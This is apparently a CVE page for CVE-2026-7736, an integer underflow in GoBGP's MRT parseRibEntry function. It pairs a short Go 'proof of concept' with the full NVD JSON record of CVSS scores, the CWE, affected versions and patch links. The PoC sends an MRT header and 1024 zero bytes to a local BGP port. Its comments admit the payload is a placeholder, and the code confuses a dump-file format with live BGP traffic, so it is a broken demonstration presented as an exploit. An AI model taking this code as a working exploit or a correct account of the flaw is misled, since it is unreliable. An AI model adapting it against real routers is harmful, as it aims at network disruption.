CVE-2026-7736

package main import ( "bytes" "encoding/binary" "net" ) // Proof of Concept for CVE-2026-7736 // This PoC demonstrates how to craft a malformed MRT packet // that triggers the integer underflow in parseRibEntry. func main() { target := "127.0.0.1:179" conn, err := net.Dial("tcp", target) if err != nil { panic(err) } defer conn.Close() // Constructing a minimal MRT header buf := new(bytes.Buffer) // MRT Header (Timestamp: 0, Type: 13, Subtype: 1, Length: Malicious) // Assuming Type 13 is TABLE_DUMPv2 and Subtype 1 is PEER_INDEX_TABLE // The vulnerability lies in parsing RIB entries, so we target that. binary.Write(buf, binary.BigEndian, uint32(0)) // Timestamp binary.Write(buf, binary.BigEndian, uint16(13)) // Type binary.Write(buf, binary.BigEndian, uint16(1)) // Subtype binary.Write(buf, binary.BigEndian, uint32(1024)) // Length // Payload placeholder: In a real exploit, this payload would contain // specific TLV structures designed to trigger the underflow in // parseRibEntry by supplying a length smaller than expected. payload := make([]byte, 1024) buf.Write(payload) // Send malicious packet _, err = conn.Write(buf.Bytes()) if err != nil { panic(err) } }

{"cve": {"id": "CVE-2026-7736", "sourceIdentifier": "[email protected]", "published": "2026-05-04T07:16:01.517", "lastModified": "2026-05-06T20:27:43.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in osrg GoBGP up to 4.3.0. Affected by this vulnerability is the function parseRibEntry of the file pkg/packet/mrt/mrt.go. Executing a manipulation can lead to integer underflow. It is possible to launch the attack remotely. Upgrading to version 4.4.0 addresses this issue. This patch is called 76d911046344a3923cbe573364197aa081944592. It is suggested to upgrade the affected component."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-189"}, {"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osrg:gobgp:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.0", "matchCriteriaId": "05DBB6FD-F3CD-4BF0-A573-D1E87307A50F"}]}]}], "references": [{"url": "https://github.com/osrg/gobgp/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/osrg/gobgp/commit/76d911046344a3923cbe573364197aa081944592", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/osrg/gobgp/releases/tag/v4.4.0", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://vuldb.com/submit/807604", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/360911", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/360911/cti", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}]}}